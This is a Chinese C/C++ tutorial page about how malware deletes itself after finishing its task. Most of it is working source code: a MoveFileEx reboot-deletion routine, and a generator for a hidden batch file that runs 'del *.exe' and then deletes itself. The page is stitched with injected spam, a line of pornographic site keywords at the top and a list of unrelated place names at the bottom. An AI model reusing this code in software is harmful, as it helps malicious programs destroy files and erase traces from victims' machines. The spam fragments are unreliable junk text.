最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

C/C++惡意代碼盤(pán)點(diǎn)之文件自動(dòng)刪除

 更新時(shí)間:2022年09月21日 15:59:28   作者:編程小魚(yú)六六六  
惡意代碼的分類(lèi)包括計(jì)算機(jī)病毒、蠕蟲(chóng)、木馬等,有些技術(shù)經(jīng)常用到,有的也是必然用到。今天我們就分享一下文件自動(dòng)刪除,感興趣的可以了解一下

前言

惡意代碼的分類(lèi)包括計(jì)算機(jī)病毒、蠕蟲(chóng)、木馬、后門(mén)、Rootkit、流氓軟件、間諜軟件、廣告軟件、僵尸(bot) 、Exploit等等,有些技術(shù)經(jīng)常用到,有的也是必然用到。

上次咱們分享了一部分,那么今天我們就分享一下文件自動(dòng)刪除。

自刪除功能對(duì)病毒木馬來(lái)說(shuō)同樣至關(guān)重要,它通常在完成目標(biāo)任務(wù)之后刪除自身,不留下任何蛛絲馬跡,自刪除的方法有很多種,常見(jiàn)的有利用MoveFileEx重啟刪除和利用批處理刪除兩種方式。

1、MoveFileEx重啟刪除

MOVEFILE_DELAY_UNTIL_REBOOT這個(gè)標(biāo)志只能由擁有管理員權(quán)限的程序或者擁有本地系統(tǒng)權(quán)限的程序使用,而且這個(gè)標(biāo)志不能MOVEFILE_COPY_ALLOWED一起使用,并且,刪除文件的路徑開(kāi)頭需要加上“\?\"前綴。

源代碼實(shí)現(xiàn)

#include "stdafx.h"
#include <Windows.h>
BOOL RebootDelete(char *pszFileName)
{
    // 重啟刪除文件
    char szTemp[MAX_PATH] = "\\\\?\\";
    ::lstrcat(szTemp, pszFileName);
    BOOL bRet = ::MoveFileEx(szTemp, NULL, MOVEFILE_DELAY_UNTIL_REBOOT);
    return bRet;
}
 
int _tmain(int argc, _TCHAR* argv[])
{
    if (FALSE == RebootDelete("C:\\Users\\Test\\Desktop\\520.exe"))
    {
        printf("Set Reboot Delete Error.\n");
    }
    else
    {
        printf("Set Reboot Delete OK.\n");
    }
 
    system("pause");
    return 0;
}

2、利用批處理命令刪除

del %0

批處理命令會(huì)將自身批處理文件刪除而且不放進(jìn)回收站。

具體流程

1 構(gòu)造自刪除批處理文件,該批處理文件的功能就是先利用choice或ping命令延遲一定的時(shí)間,之后才開(kāi)始執(zhí)行刪除文件操作,最后執(zhí)行自刪除命令。

2 在程序中創(chuàng)建一個(gè)新進(jìn)程并調(diào)用批處理文件,程序在進(jìn)程創(chuàng)建成功后,立刻退出整個(gè)程序。

源代碼實(shí)現(xiàn)

#include "stdafx.h"
#include <Windows.h>
BOOL CreateChoiceBat(char *pszBatFileName)
{
    int iTime = 5;
    char szBat[MAX_PATH] = { 0 };
    // 構(gòu)造批處理內(nèi)容
    /*
        @echo off
        choice /t 5 /d y /n >nul
        del *.exe
        del %0
    */
    ::wsprintf(szBat, "@echo off\nchoice /t %d /d y /n >nul\ndel *.exe\ndel %%0\n", iTime);
    // 生成批處理文件
    FILE *fp = NULL;
    fopen_s(&fp, pszBatFileName, "w+");
    if (NULL == fp)
    {
        return FALSE;
    }
    fwrite(szBat, (1 + ::lstrlen(szBat)), 1, fp);
    fclose(fp);
    return TRUE;
}
BOOL CreatePingBat(char *pszBatFileName)
{
    int iTime = 5;
    char szBat[MAX_PATH] = {0};
    // 構(gòu)造批處理內(nèi)容
    /*
        @echo off
        ping 127.0.0.1 -n 5
        del *.exe
        del %0
    */
    ::wsprintf(szBat, "@echo off\nping 127.0.0.1 -n %d\ndel *.exe\ndel %%0\n", iTime);
    // 生成批處理文件
    FILE *fp = NULL;
    fopen_s(&fp, pszBatFileName, "w+");
    if (NULL == fp)
    {
        return FALSE;
    }
    fwrite(szBat, (1 + ::lstrlen(szBat)), 1, fp);
    fclose(fp);
    return TRUE;
}
BOOL DelSelf(int iType)
{
    BOOL bRet = FALSE;
    char szCurrentDirectory[MAX_PATH] = {0};
    char szBatFileName[MAX_PATH] = {0};
    char szCmd[MAX_PATH] = {0};
    // 獲取當(dāng)前程序所在目錄
    ::GetModuleFileName(NULL, szCurrentDirectory, MAX_PATH);
    char *p = strrchr(szCurrentDirectory, '\\');
    p[0] = '\0';
    // 構(gòu)造批處理文件路徑
    ::wsprintf(szBatFileName, "%s\\temp.bat", szCurrentDirectory);
    // 構(gòu)造調(diào)用執(zhí)行批處理的 CMD 命令行
    ::wsprintf(szCmd, "cmd /c call \"%s\"", szBatFileName);
    // 創(chuàng)建自刪除的批處理文件
    if (0 == iType)
    {
        // choice 方式
        bRet = CreateChoiceBat(szBatFileName);
    }
    else if (1 == iType)
    {
        // ping 方式
        bRet = CreatePingBat(szBatFileName);
    }
    // 創(chuàng)建新的進(jìn)程, 以隱藏控制臺(tái)的方式執(zhí)行批處理
    if (bRet)
    {
        STARTUPINFO si = { 0 };
        PROCESS_INFORMATION pi;
        si.cb = sizeof(si);
        //指定wShowWindow成員有效
        si.dwFlags = STARTF_USESHOWWINDOW;
        //此成員設(shè)為T(mén)RUE的話(huà)則顯示新建進(jìn)程的主窗口
        si.wShowWindow = FALSE;
        BOOL bRet = CreateProcess(
            //不在此指定可執(zhí)行文件的文件名
            NULL,
            //命令行參數(shù)
            szCmd,
            //默認(rèn)進(jìn)程安全性
            NULL,
            //默認(rèn)進(jìn)程安全性
            NULL,
            //指定當(dāng)前進(jìn)程內(nèi)句柄不可以被子進(jìn)程繼承
            FALSE,
            //為新進(jìn)程創(chuàng)建一個(gè)新的控制臺(tái)窗口
            CREATE_NEW_CONSOLE,
            //使用本進(jìn)程的環(huán)境變量
            NULL,
            //使用本進(jìn)程的驅(qū)動(dòng)器和目錄
            NULL,
            &si,
            &pi);
        if (bRet)
        {
            //不使用的句柄最好關(guān)掉
            CloseHandle(pi.hThread);
            CloseHandle(pi.hProcess);
            // 結(jié)束進(jìn)程
            exit(0);
            ::ExitProcess(NULL);
        }
    }
    return bRet;
}
int _tmain(int argc, _TCHAR* argv[])
{
    // 程序自刪除
    BOOL bRet = DelSelf( 0 );
    if (FALSE == bRet)
    {
        printf("Selft Delete Error!\n");
    }
    else
    {
        printf("Selft Delete OK!\n");
    }
    system("pause");
    return 0;

到此這篇關(guān)于C/C++惡意代碼盤(pán)點(diǎn)之文件自動(dòng)刪除的文章就介紹到這了,更多相關(guān)C/C++文件自動(dòng)刪除內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • error LNK2019: 無(wú)法解析的外部符號(hào) 問(wèn)題的解決辦法

    error LNK2019: 無(wú)法解析的外部符號(hào) 問(wèn)題的解決辦法

    error LNK2019: 無(wú)法解析的外部符號(hào) 問(wèn)題的解決辦法,需要的朋友可以參考一下
    2013-05-05
  • C++實(shí)現(xiàn)聊天小程序

    C++實(shí)現(xiàn)聊天小程序

    這篇文章主要為大家詳細(xì)介紹了C++實(shí)現(xiàn)聊天小程序,文中示例代碼介紹的非常詳細(xì),具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下
    2021-06-06
  • C++類(lèi)常量和類(lèi)枚舉

    C++類(lèi)常量和類(lèi)枚舉

    這篇文章主要介紹了C++類(lèi)常量和類(lèi)枚舉,給類(lèi)當(dāng)中定義一些常量,可以給所有類(lèi)的對(duì)象使用,比如說(shuō)我們?cè)陬?lèi)當(dāng)中定義一個(gè)數(shù)組,希望可以定義一個(gè)常量,用來(lái)初始化數(shù)組的長(zhǎng)度,那么下面我i嗎就來(lái)看看過(guò)程當(dāng)如何吧
    2022-01-01
  • C語(yǔ)言實(shí)現(xiàn)電子郵件地址驗(yàn)證程序

    C語(yǔ)言實(shí)現(xiàn)電子郵件地址驗(yàn)證程序

    這篇文章主要介紹了C語(yǔ)言實(shí)現(xiàn)電子郵件地址驗(yàn)證程序,利用的是POSIX正則表達(dá)式,文中示例代碼介紹的非常詳細(xì),具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下
    2015-11-11
  • C++ string類(lèi)getline()用法實(shí)例詳解

    C++ string類(lèi)getline()用法實(shí)例詳解

    C++ getline()是一種標(biāo)準(zhǔn)庫(kù)函數(shù),用于從輸入流中讀取字符串或行,它是<string>標(biāo)頭的一部分,本文介紹C++ string類(lèi)getline()用法詳解,感興趣的朋友一起看看吧
    2024-03-03
  • C語(yǔ)言中帶頭雙向循環(huán)鏈表基本操作的實(shí)現(xiàn)詳解

    C語(yǔ)言中帶頭雙向循環(huán)鏈表基本操作的實(shí)現(xiàn)詳解

    無(wú)頭單向非循環(huán)鏈表結(jié)構(gòu)簡(jiǎn)單,一般不會(huì)單獨(dú)用來(lái)存數(shù)據(jù)。而帶頭雙向循環(huán)鏈表的結(jié)構(gòu)較為復(fù)雜,一般用在單獨(dú)存儲(chǔ)數(shù)據(jù)。本文將介紹帶頭雙向循環(huán)鏈表的基本操作,需要的可以參考一下
    2022-11-11
  • 深入理解C++編程中的局部變量和全局變量

    深入理解C++編程中的局部變量和全局變量

    這篇文章主要介紹了深入理解C++編程中的局部變量和全局變量,是C++入門(mén)學(xué)習(xí)中的基礎(chǔ)知識(shí),需要的朋友可以參考下
    2015-09-09
  • C語(yǔ)言數(shù)組超詳細(xì)講解中篇三子棋

    C語(yǔ)言數(shù)組超詳細(xì)講解中篇三子棋

    數(shù)組是一組有序的數(shù)據(jù)的集合,本篇將帶你結(jié)合數(shù)組來(lái)實(shí)現(xiàn)三子棋小游戲,上手實(shí)練更快的能夠掌握數(shù)組使用,感興趣的朋友來(lái)看看吧
    2022-04-04
  • C語(yǔ)言函數(shù)指針詳解

    C語(yǔ)言函數(shù)指針詳解

    大家好,本篇文章主要講的是C語(yǔ)言函數(shù)指針詳解,感興趣的同學(xué)趕快來(lái)看一看吧,對(duì)你有幫助的話(huà)記得收藏一下,方便下次瀏覽
    2022-01-01
  • C++詳細(xì)講解內(nèi)存管理工具primitives

    C++詳細(xì)講解內(nèi)存管理工具primitives

    文章向大家介紹C++內(nèi)存管理primitives,主要包括primitives使用實(shí)例、應(yīng)用技巧、基本知識(shí)點(diǎn)總結(jié)和需要注意事項(xiàng),具有一定的參考價(jià)值,需要的朋友可以參考一下
    2022-06-06

最新評(píng)論

谢通门县| 郧西县| 沙田区| 慈溪市| 鄯善县| 梧州市| 佛学| 珲春市| 海南省| 新田县| 新田县| 社旗县| 巴林右旗| 宁海县| 商洛市| 轮台县| 汝城县| 福清市| 邮箱| 乐陵市| 大庆市| 西充县| 克什克腾旗| 昌平区| 静安区| 贡觉县| 博客| 大荔县| 民和| 铜鼓县| 梁平县| 三原县| 平山县| 普安县| 哈巴河县| 区。| 金山区| 滦南县| 澄江县| 旬邑县| 嵊泗县|